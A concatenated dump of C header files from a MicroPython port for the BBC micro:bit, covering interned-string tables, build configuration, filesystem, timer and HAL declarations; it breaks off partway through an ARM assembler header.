QDEF(MP_QSTR_time, (const byte*)"\xf0\x04" "time") QDEF(MP_QSTR_time_pulse_us, (const byte*)"\x89\x0d" "time_pulse_us") QDEF(MP_QSTR_to_bytes, (const byte*)"\xd8\x08" "to_bytes") QDEF(MP_QSTR_trunc, (const byte*)"\x5b\x05" "trunc") QDEF(MP_QSTR_tuple, (const byte*)"\xfd\x05" "tuple") QDEF(MP_QSTR_type, (const byte*)"\x9d\x04" "type") QDEF(MP_QSTR_ucollections, (const byte*)"\x15\x0c" "ucollections") QDEF(MP_QSTR_udiv, (const byte*)"\x8b\x04" "udiv") QDEF(MP_QSTR_uint, (const byte*)"\xe3\x04" "uint") QDEF(MP_QSTR_union, (const byte*)"\xf6\x05" "union") QDEF(MP_QSTR_unique_id, (const byte*)"\x04\x09" "unique_id") QDEF(MP_QSTR_unpack, (const byte*)"\x07\x06" "unpack") QDEF(MP_QSTR_unpack_from, (const byte*)"\x0e\x0b" "unpack_from") QDEF(MP_QSTR_update, (const byte*)"\xb4\x06" "update") QDEF(MP_QSTR_upper, (const byte*)"\x27\x05" "upper") QDEF(MP_QSTR_ustruct, (const byte*)"\x47\x07" "ustruct") QDEF(MP_QSTR_utime, (const byte*)"\xe5\x05" "utime") QDEF(MP_QSTR_value, (const byte*)"\x4e\x05" "value") QDEF(MP_QSTR_values, (const byte*)"\x7d\x06" "values") QDEF(MP_QSTR_version_info, (const byte*)"\x6e\x0c" "version_info") QDEF(MP_QSTR_wfi, (const byte*)"\x9d\x03" "wfi") QDEF(MP_QSTR_zip, (const byte*)"\xe6\x03" "zip") QDEF(MP_QSTR_crc, (const byte*)"\x17\x03" "crc") QDEF(MP_QSTR_sniff_on, (const byte*)"\x4f\x08" "sniff_on") QDEF(MP_QSTR_raw, (const byte*)"\xe1\x03" "raw") QDEF(MP_QSTR_esb, (const byte*)"\x71\x03" "esb") QDEF(MP_QSTR_sb, (const byte*)"\xf4\x02" "sb") QDEF(MP_QSTR_cx, (const byte*)"\xfe\x02" "cx") QDEF(MP_QSTR_ble, (const byte*)"\x4e\x03" "ble") QDEF(MP_QSTR_ble_ll, (const byte*)"\xd1\x06" "ble_ll") QDEF(MP_QSTR_ping, (const byte*)"\x55\x04" "ping") QDEF(MP_QSTR_sniff, (const byte*)"\xd1\x05" "sniff") ================================================ FILE: micropython/inc/lib/iters.h ================================================ #include "py/runtime.h" mp_obj_t microbit_repeat_iterator(mp_obj_t iterable); ================================================ FILE: micropython/inc/lib/mp-readline/readline.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_LIB_MP_READLINE_READLINE_H #define MICROPY_INCLUDED_LIB_MP_READLINE_READLINE_H #define CHAR_CTRL_A (1) #define CHAR_CTRL_B (2) #define CHAR_CTRL_C (3) #define CHAR_CTRL_D (4) #define CHAR_CTRL_E (5) #define CHAR_CTRL_F (6) #define CHAR_CTRL_K (11) #define CHAR_CTRL_N (14) #define CHAR_CTRL_P (16) #define CHAR_CTRL_U (21) void readline_init0(void); int readline(vstr_t *line, const char *prompt); void readline_push_history(const char *line); void readline_init(vstr_t *line, const char *prompt); void readline_note_newline(const char *prompt); int readline_process_char(int c); #endif // MICROPY_INCLUDED_LIB_MP_READLINE_READLINE_H ================================================ FILE: micropython/inc/lib/pwm.h ================================================ #ifndef __MICROPY_INCLUDED_LIB_PWM_H__ #define __MICROPY_INCLUDED_LIB_PWM_H__ #ifdef __cplusplus extern "C" { #endif void pwm_init(void); void pwm_start(void); void pwm_stop(void); int pwm_set_period_us(int32_t us); int32_t pwm_get_period_us(void); void pwm_set_duty_cycle(int32_t pin, int32_t value); void pwm_release(int32_t pin); #ifdef __cplusplus } #endif #endif // __MICROPY_INCLUDED_LIB_PWM_H__ ================================================ FILE: micropython/inc/lib/ticker.h ================================================ #ifndef __MICROPY_INCLUDED_LIB_TICKER_H__ #define __MICROPY_INCLUDED_LIB_TICKER_H__ /************************************* * 62.5kHz (16µs cycle time) ticker. ************************************/ #ifdef __cplusplus extern "C" { #endif #include "nrf.h" typedef void (*callback_ptr)(void); typedef int32_t (*ticker_callback_ptr)(void); extern volatile uint32_t ticker_ticks_ms; void ticker_init(callback_ptr slow_ticker_callback); void ticker_start(void); void ticker_stop(void); int clear_ticker_callback(uint32_t index); int set_ticker_callback(uint32_t index, ticker_callback_ptr func, int32_t initial_delay_us); int set_low_priority_callback(callback_ptr callback, int id); #define CYCLES_PER_MICROSECONDS 16 #define MICROSECONDS_PER_TICK 16 #define CYCLES_PER_TICK (CYCLES_PER_MICROSECONDS*MICROSECONDS_PER_TICK) // This must be an integer multiple of MICROSECONDS_PER_TICK #define MICROSECONDS_PER_MACRO_TICK 6000 #define MILLISECONDS_PER_MACRO_TICK 6 #ifdef __cplusplus } #endif #endif // __MICROPY_INCLUDED_LIB_TICKER_H__ ================================================ FILE: micropython/inc/lib/utils/interrupt_char.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_LIB_UTILS_INTERRUPT_CHAR_H #define MICROPY_INCLUDED_LIB_UTILS_INTERRUPT_CHAR_H extern int mp_interrupt_char; void mp_hal_set_interrupt_char(int c); void mp_keyboard_interrupt(void); #endif // MICROPY_INCLUDED_LIB_UTILS_INTERRUPT_CHAR_H ================================================ FILE: micropython/inc/lib/utils/pyexec.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_LIB_UTILS_PYEXEC_H #define MICROPY_INCLUDED_LIB_UTILS_PYEXEC_H typedef enum { PYEXEC_MODE_RAW_REPL, PYEXEC_MODE_FRIENDLY_REPL, } pyexec_mode_kind_t; extern pyexec_mode_kind_t pyexec_mode_kind; // Set this to the value (eg PYEXEC_FORCED_EXIT) that will be propagated through // the pyexec functions if a SystemExit exception is raised by the running code. // It will reset to 0 at the start of each execution (eg each REPL entry). extern int pyexec_system_exit; #define PYEXEC_FORCED_EXIT (0x100) #define PYEXEC_SWITCH_MODE (0x200) int pyexec_raw_repl(void); int pyexec_friendly_repl(void); int pyexec_file(const char *filename); int pyexec_frozen_module(const char *name); void pyexec_event_repl_init(void); int pyexec_event_repl_process_char(int c); extern uint8_t pyexec_repl_active; MP_DECLARE_CONST_FUN_OBJ_1(pyb_set_repl_info_obj); #endif // MICROPY_INCLUDED_LIB_UTILS_PYEXEC_H ================================================ FILE: micropython/inc/microbit/MicroBitCustomConfig.h ================================================ /** * MicroBitCustomConfig.h * * This file is automatically included by the microbit DAL compilation * process. Use this to define any custom configration options needed * for your build of the micro:bit runtime. * * See microbit-dal/inc/MicroBitConfig.h for a complete list of options. * Any options you define here will take prescedence over those defined there. */ #ifndef MICROBIT_CUSTOM_CONFIG_H #define MICROBIT_CUSTOM_CONFIG_H #define MICROBIT_HEAP_REUSE_SD 0 #define MICROBIT_BLE_ENABLED 0 #define MICROBIT_BLE_BLUEZONE 0 #define MICROBIT_BLE_DFU_SERVICE 0 #define MICROBIT_BLE_EVENT_SERVICE 0 #define MICROBIT_BLE_DEVICE_INFORMATION_SERVICE 0 #define MICROBIT_BLE_PAIRING_MODE 0 #define MICROBIT_RADIO_ENABLED 0 #endif ================================================ FILE: micropython/inc/microbit/filesystem.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Mark Shannon * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef __MICROPY_INCLUDED_FILESYSTEM_H__ #define __MICROPY_INCLUDED_FILESYSTEM_H__ #ifdef __cplusplus extern "C" { #endif #include "nrf51.h" #include "nrf_nvmc.h" #include "py/lexer.h" static inline uint32_t persistent_page_size(void) { return NRF_FICR->CODEPAGESIZE; } bool is_persistent_page_aligned(const void *ptr); /** WARNING: This function may require 1k of heap space in order to hold data when erasing a page. * Returns -1 if it cannot allocate sufficient memory. */ int persistent_write(const void *dest, const void *src, uint32_t byte_count); /** WARNING: This function may require 1k of heap space in order to hold data when erasing a page. * Returns -1 if it cannot allocate sufficient memory. */ int persistent_write_byte(const uint8_t *dest, const uint8_t val); void persistent_write_unchecked(const void *dest, const void *src, uint32_t byte_count); void persistent_write_byte_unchecked(const uint8_t *dest, const uint8_t val); void persistent_erase_page(const void *page); typedef struct _file_descriptor_obj { mp_obj_base_t base; uint8_t start_chunk; uint8_t seek_chunk; uint8_t seek_offset; bool writable; bool open; bool binary; } file_descriptor_obj; #define LOG_CHUNK_SIZE 7 #define CHUNK_SIZE (1< // Options to control how MicroPython is built, overriding defaults in py/mpconfig.h // object representation #define MICROPY_OBJ_REPR (MICROPY_OBJ_REPR_C) // memory allocation policies #define MICROPY_ALLOC_GC_STACK_SIZE (32) #define MICROPY_ALLOC_PARSE_RULE_INIT (96) #define MICROPY_ALLOC_PARSE_RULE_INC (24) #define MICROPY_ALLOC_PATH_MAX (64) #define MICROPY_QSTR_BYTES_IN_HASH (1) // emitters #define MICROPY_EMIT_INLINE_THUMB (1) #define MICROPY_EMIT_INLINE_THUMB_ARMV7M (0) #define MICROPY_EMIT_INLINE_THUMB_FLOAT (0) // compiler configuration #define MICROPY_USE_SMALL_HEAP_COMPILER (1) #define MICROPY_COMP_CONST (0) #define MICROPY_COMP_DOUBLE_TUPLE_ASSIGN (0) #define MICROPY_COMP_TRIPLE_TUPLE_ASSIGN (0) // Python internal features #define MICROPY_ENABLE_GC (1) #define MICROPY_STACK_CHECK (1) #define MICROPY_KBD_EXCEPTION (1) #define MICROPY_HELPER_REPL (1) #define MICROPY_REPL_EMACS_KEYS (1) #define MICROPY_REPL_AUTO_INDENT (1) #define MICROPY_ENABLE_SOURCE_LINE (1) #define MICROPY_ERROR_REPORTING (MICROPY_ERROR_REPORTING_NORMAL) #define MICROPY_LONGINT_IMPL (MICROPY_LONGINT_IMPL_MPZ) #define MICROPY_FLOAT_IMPL (MICROPY_FLOAT_IMPL_FLOAT) #define MICROPY_PY_BUILTINS_COMPLEX (0) #define MICROPY_CPYTHON_COMPAT (0) #define MICROPY_STREAMS_NON_BLOCK (1) #define MICROPY_MODULE_BUILTIN_INIT (1) #define MICROPY_CAN_OVERRIDE_BUILTINS (1) // control over Python builtins #define MICROPY_PY_BUILTINS_STR_UNICODE (1) #define MICROPY_PY_BUILTINS_BYTEARRAY (1) #define MICROPY_PY_BUILTINS_MEMORYVIEW (0) #define MICROPY_PY_BUILTINS_ENUMERATE (1) #define MICROPY_PY_BUILTINS_FROZENSET (1) #define MICROPY_PY_BUILTINS_REVERSED (1) #define MICROPY_PY_BUILTINS_SET (1) #define MICROPY_PY_BUILTINS_SLICE (1) #define MICROPY_PY_BUILTINS_PROPERTY (0) #define MICROPY_PY_BUILTINS_INPUT (1) #define MICROPY_PY_BUILTINS_HELP (1) #define MICROPY_PY_BUILTINS_HELP_TEXT microbit_help_text #define MICROPY_PY_BUILTINS_HELP_MODULES (1) #define MICROPY_PY___FILE__ (0) #define MICROPY_PY_MICROPYTHON_MEM_INFO (1) #define MICROPY_PY_GC (1) #define MICROPY_PY_ARRAY (1) #define MICROPY_PY_ATTRTUPLE (1) #define MICROPY_PY_COLLECTIONS (1) #define MICROPY_PY_COLLECTIONS_ORDEREDDICT (1) #define MICROPY_PY_MATH (1) #define MICROPY_PY_IO (0) #define MICROPY_PY_STRUCT (1) #define MICROPY_PY_SYS (1) #define MICROPY_PY_SYS_PLATFORM "microbit" #define MICROPY_PY_SYS_MODULES (0) #define MICROPY_HAL_HAS_VT100 (0) // extended modules #define MICROPY_PY_UTIME_MP_HAL (1) #define MICROPY_PY_MACHINE (1) #define MICROPY_PY_MACHINE_PULSE (1) // extra built in names to add to the global namespace #define MICROPY_PORT_BUILTINS \ { MP_OBJ_NEW_QSTR(MP_QSTR_open), (mp_obj_t)&mp_builtin_open_obj }, \ // extra builtin modules to add to the list of known ones extern const struct _mp_obj_module_t microbit_module; extern const struct _mp_obj_module_t music_module; extern const struct _mp_obj_module_t this_module; extern const struct _mp_obj_module_t antigravity_module; extern const struct _mp_obj_module_t love_module; extern const struct _mp_obj_module_t neopixel_module; extern const struct _mp_obj_module_t random_module; extern const struct _mp_obj_module_t os_module; extern const struct _mp_obj_module_t radio_module; extern const struct _mp_obj_module_t audio_module; extern const struct _mp_obj_module_t speech_module; extern const struct _mp_obj_module_t utime_module; extern const struct _mp_obj_module_t machine_module; #define MICROPY_PORT_BUILTIN_MODULES \ { MP_ROM_QSTR(MP_QSTR_microbit), MP_ROM_PTR(µbit_module) }, \ { MP_ROM_QSTR(MP_QSTR_music), MP_ROM_PTR(&music_module) }, \ { MP_ROM_QSTR(MP_QSTR_this), MP_ROM_PTR(&this_module) }, \ { MP_ROM_QSTR(MP_QSTR_antigravity), MP_ROM_PTR(&antigravity_module) }, \ { MP_ROM_QSTR(MP_QSTR_love), MP_ROM_PTR(&love_module) }, \ { MP_ROM_QSTR(MP_QSTR_neopixel), MP_ROM_PTR(&neopixel_module) }, \ { MP_ROM_QSTR(MP_QSTR_random), MP_ROM_PTR(&random_module) }, \ { MP_ROM_QSTR(MP_QSTR_os), MP_ROM_PTR(&os_module) }, \ { MP_ROM_QSTR(MP_QSTR_radio), MP_ROM_PTR(&radio_module) }, \ { MP_ROM_QSTR(MP_QSTR_audio), MP_ROM_PTR(&audio_module) }, \ { MP_ROM_QSTR(MP_QSTR_speech), MP_ROM_PTR(&speech_module) }, \ { MP_ROM_QSTR(MP_QSTR_utime), MP_ROM_PTR(&utime_module) }, \ { MP_ROM_QSTR(MP_QSTR_machine), MP_ROM_PTR(&machine_module) }, \ \ /* the following provide aliases for existing modules */ \ { MP_ROM_QSTR(MP_QSTR_collections), MP_ROM_PTR(&mp_module_collections) }, \ { MP_ROM_QSTR(MP_QSTR_struct), MP_ROM_PTR(&mp_module_ustruct) }, \ { MP_ROM_QSTR(MP_QSTR_time), MP_ROM_PTR(&utime_module) }, \ #define MP_STATE_PORT MP_STATE_VM #define MICROPY_PORT_ROOT_POINTERS \ const char *readline_hist[8]; \ void *async_data[2]; \ uint8_t *radio_buf; \ void *audio_buffer; \ void *audio_source; \ void *speech_data; \ struct _music_data_t *music_data; \ // type definitions for the specific machine #define MICROPY_MAKE_POINTER_CALLABLE(p) ((void*)((mp_uint_t)(p) | 1)) typedef intptr_t mp_int_t; // must be pointer size typedef uintptr_t mp_uint_t; // must be pointer size typedef long mp_off_t; void mp_hal_stdout_tx_strn_cooked(const char *str, mp_uint_t len); #define MP_PLAT_PRINT_STRN(str, len) mp_hal_stdout_tx_strn_cooked(str, len) // We need to provide a declaration/definition of alloca() #include #define MICROBIT_RELEASE "1.0.1" #define MICROBIT_BOARD_NAME "micro:bit" #define MICROPY_HW_BOARD_NAME MICROBIT_BOARD_NAME " v" MICROBIT_RELEASE #define MICROPY_HW_MCU_NAME "nRF51822" // Toolchain seems to be missing M_PI #ifndef M_PI #define M_PI (3.141592653589793) #endif ================================================ FILE: micropython/inc/microbit/mphalport.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef __MICROPY_INCLUDED_MICROBIT_MPHALPORT_H__ #define __MICROPY_INCLUDED_MICROBIT_MPHALPORT_H__ #ifdef __cplusplus extern "C" { #endif void mp_hal_init(void); void mp_hal_set_interrupt_char(int c); int mp_hal_stdin_rx_any(void); // provide these since we don't assume VT100 support void mp_hal_move_cursor_back(unsigned int pos); void mp_hal_erase_line_from_cursor(unsigned int n_chars); void mp_hal_display_string(const char*); // MicroPython low-level C API for pins #include "nrf_gpio.h" #include "microbit/modmicrobit.h" #define mp_hal_pin_obj_t uint8_t #define mp_hal_get_pin_obj(o) microbit_obj_get_pin_name(o) #define mp_hal_pin_read(p) (int)nrf_gpio_pin_read(p) #ifdef __cplusplus } #endif #endif // __MICROPY_INCLUDED_MICROBIT_MPHALPORT_H__ ================================================ FILE: micropython/inc/microbit/qstrdefsport.h ================================================ // qstrs specific to this port Q(help) Q(input) Q(collections) Q(struct) Q(microbit) Q(reset) Q(sleep) Q(running_time) Q(panic) Q(temperature) Q(this) Q(authors) Q(antigravity) Q(love) Q(badaboom) Q(MicroBitDigitalPin) Q(MicroBitAnalogDigitalPin) Q(MicroBitTouchPin) Q(read_digital) Q(write_digital) Q(read_analog) Q(write_analog) Q(set_analog_period) Q(set_analog_period_microseconds) Q(get_analog_period_microseconds) Q(is_touched) Q(unused) Q(audio_play) Q(button) Q(touch) Q(3v) Q(get_mode) Q(MicroBitIO) Q(pin0) Q(pin1) Q(pin2) Q(pin3) Q(pin4) Q(pin5) Q(pin6) Q(pin7) Q(pin8) Q(pin9) Q(pin10) Q(pin11) Q(pin12) Q(pin13) Q(pin14) Q(pin15) Q(pin16) Q(pin19) Q(pin20) Q(get_pull) Q(set_pull) Q(PULL_UP) Q(PULL_DOWN) Q(NO_PULL) Q(MicroBitImage) Q(Image) Q(image) Q(width) Q(height) Q(invert) Q(fill) Q(set_pixel) Q(get_pixel) Q(shift_left) Q(shift_right) Q(shift_up) Q(shift_down) Q(monospace) Q(blit) Q(HEART) Q(HEART_SMALL) Q(HAPPY) Q(SAD) Q(SMILE) Q(CONFUSED) Q(ANGRY) Q(ASLEEP) Q(SURPRISED) Q(SILLY) Q(FABULOUS) Q(MEH) Q(YES) Q(NO) Q(CLOCK12) Q(CLOCK1) Q(CLOCK2) Q(CLOCK3) Q(CLOCK4) Q(CLOCK5) Q(CLOCK6) Q(CLOCK7) Q(CLOCK8) Q(CLOCK9) Q(CLOCK10) Q(CLOCK11) Q(ARROW_N) Q(ARROW_NE) Q(ARROW_E) Q(ARROW_SE) Q(ARROW_S) Q(ARROW_SW) Q(ARROW_W) Q(ARROW_NW) Q(TRIANGLE) Q(TRIANGLE_LEFT) Q(CHESSBOARD) Q(DIAMOND) Q(DIAMOND_SMALL) Q(SQUARE) Q(SQUARE_SMALL) Q(RABBIT) Q(COW) Q(MUSIC_CROTCHET) Q(MUSIC_QUAVER) Q(MUSIC_QUAVERS) Q(PITCHFORK) Q(XMAS) Q(PACMAN) Q(TARGET) Q(TSHIRT) Q(ROLLERSKATE) Q(DUCK) Q(HOUSE) Q(TORTOISE) Q(BUTTERFLY) Q(STICKFIGURE) Q(GHOST) Q(SWORD) Q(GIRAFFE) Q(SKULL) Q(UMBRELLA) Q(SNAKE) Q(ALL_ARROWS) Q(ALL_CLOCKS) Q(MicroBitDisplay) Q(set_brightness) Q(set_display_mode) Q(display) Q(show) Q(scroll) Q(delay) Q(stride) Q(start) Q(wait) Q(loop) Q(copy) Q(crop) Q(slice) Q(text) Q(SlicedImage) Q(ScrollingString) Q(on) Q(off) Q(is_on) Q(Facade) Q(MicroBitButton) Q(button_a) Q(button_b) Q(is_pressed) Q(was_pressed) Q(get_presses) Q(MicroBitAccelerometer) Q(accelerometer) Q(get_x) Q(get_y) Q(get_z) Q(get_values) Q(current_gesture) Q(is_gesture) Q(was_gesture) Q(get_gestures) Q(up) Q(down) Q(left) Q(right) Q(face up) Q(face down) Q(freefall) Q(3g) Q(6g) Q(8g) Q(shake) Q(MicroBitCompass) Q(compass) Q(heading) Q(is_calibrated) Q(calibrate) Q(clear_calibration) Q(get_x) Q(get_y) Q(get_z) Q(get_field_strength) Q(MicroBitI2C) Q(i2c) Q(read) Q(write) Q(addr) Q(n) Q(buf) Q(repeat) Q(freq) Q(sda) Q(scl) Q(music) Q(frequency) Q(duration) Q(pitch) Q(pin) Q(play) Q(set_tempo) Q(get_tempo) Q(bpm) Q(ticks) Q(BADDY) Q(BA_DING) Q(BIRTHDAY) Q(BLUES) Q(CHASE) Q(DADADADUM) Q(ENTERTAINER) Q(FUNERAL) Q(FUNK) Q(JUMP_DOWN) Q(JUMP_UP) Q(NYAN) Q(ODE) Q(POWER_DOWN) Q(POWER_UP) Q(PRELUDE) Q(PUNCHLINE) Q(PYTHON) Q(RINGTONE) Q(WAWAWAWAA) Q(WEDDING) Q(a) Q(a#) Q(a#:1) Q(a#:3) Q(a2) Q(a4) Q(a4:1) Q(a4:3) Q(a:1) Q(a:2) Q(a:4) Q(a:5) Q(b) Q(b2:1) Q(b3) Q(b4) Q(b4:1) Q(b4:2) Q(b5) Q(b5:1) Q(b:1) Q(b:2) Q(c) Q(c#) Q(c#5) Q(c#5:1) Q(c#5:2) Q(c#:1) Q(c#:8) Q(c2:2) Q(c3) Q(c3:3) Q(c3:4) Q(c4) Q(c4:1) Q(c4:3) Q(c4:4) Q(c5) Q(c5:1) Q(c5:2) Q(c5:3) Q(c5:4) Q(c:1) Q(c:2) Q(c:3) Q(c:4) Q(c:8) Q(d) Q(d#) Q(d#5:2) Q(d#:2) Q(d#:3) Q(d3) Q(d4) Q(d4:1) Q(d5) Q(d5:1) Q(d5:2) Q(d:1) Q(d:2) Q(d:3) Q(d:4) Q(d:5) Q(d:6) Q(d:8) Q(e) Q(e3:3) Q(e4) Q(e4:1) Q(e5) Q(e6:3) Q(e:1) Q(e:2) Q(e:3) Q(e:4) Q(e:5) Q(e:6) Q(e:8) Q(eb:8) Q(f) Q(f#) Q(f#5) Q(f#5:2) Q(f#:1) Q(f#:2) Q(f#:8) Q(f2) Q(f:1) Q(f:2) Q(f:3) Q(f:4) Q(f:8) Q(g) Q(g#) Q(g#:1) Q(g#:3) Q(g3:1) Q(g4) Q(g4:1) Q(g4:2) Q(g5) Q(g5:1) Q(g:1) Q(g:2) Q(g:3) Q(g:8) Q(r) Q(r4:2) Q(r:1) Q(r:2) Q(r:3) Q(MicroBitUART) Q(uart) Q(init) Q(baudrate) Q(bits) Q(parity) Q(stop) Q(pins) Q(tx) Q(rx) Q(any) Q(read) Q(readall) Q(readline) Q(readinto) Q(write) Q(ODD) Q(EVEN) Q(MicroBitSPI) Q(spi) Q(init) Q(baudrate) Q(bits) Q(mode) Q(sclk) Q(mosi) Q(miso) Q(write) Q(write_readinto) Q(neopixel) Q(NeoPixel) Q(clear) Q(show) Q(random) Q(getrandbits) Q(seed) Q(randrange) Q(randint) Q(choice) Q(uniform) Q(audio) Q(play) Q(AudioFrame) Q(pin) Q(return_pin) Q(source) Q(copyfrom) Q(name) Q(os) Q(uname) Q(micropython) Q(sysname) Q(nodename) Q(release) Q(version) Q(BytesIO) Q(TextIO) Q(read) Q(write) Q(writable) Q(readall) Q(name) Q(listdir) Q(machine) Q(size) Q(is_playing) Q(speech) Q(say) Q(pronounce) Q(sing) Q(pitch) Q(throat) Q(mouth) Q(speed) Q(debug) Q(translate) Q(radio) Q(reset) Q(config) Q(on) Q(off) Q(send_bytes) Q(receive_bytes) Q(send) Q(receive) Q(receive_bytes_into) Q(receive_full) Q(length) Q(queue) Q(channel) Q(power) Q(data_rate) Q(address) Q(group) Q(RATE_250KBIT) Q(RATE_1MBIT) Q(RATE_2MBIT) ================================================ FILE: micropython/inc/py/asmarm.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Fabian Vogt * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_ASMARM_H #define MICROPY_INCLUDED_PY_ASMARM_H #include "py/misc.h" #include "py/asmbase.h" #define ASM_ARM_REG_R0 (0) #define ASM_ARM_REG_R1 (1) #define ASM_ARM_REG_R2 (2) #define ASM_ARM_REG_R3 (3) #define ASM_ARM_REG_R4 (4) #define ASM_ARM_REG_R5 (5) #define ASM_ARM_REG_R6 (6) #define ASM_ARM_REG_R7 (7) #define ASM_ARM_REG_R8 (8) #define ASM_ARM_REG_R9 (9) #define ASM_ARM_REG_R10 (10) #define ASM_ARM_REG_R11 (11) #define ASM_ARM_REG_R12 (12) #define ASM_ARM_REG_R13 (13) #define ASM_ARM_REG_R14 (14) #define ASM_ARM_REG_R15 (15) #define ASM_ARM_REG_SP (ASM_ARM_REG_R13) #define 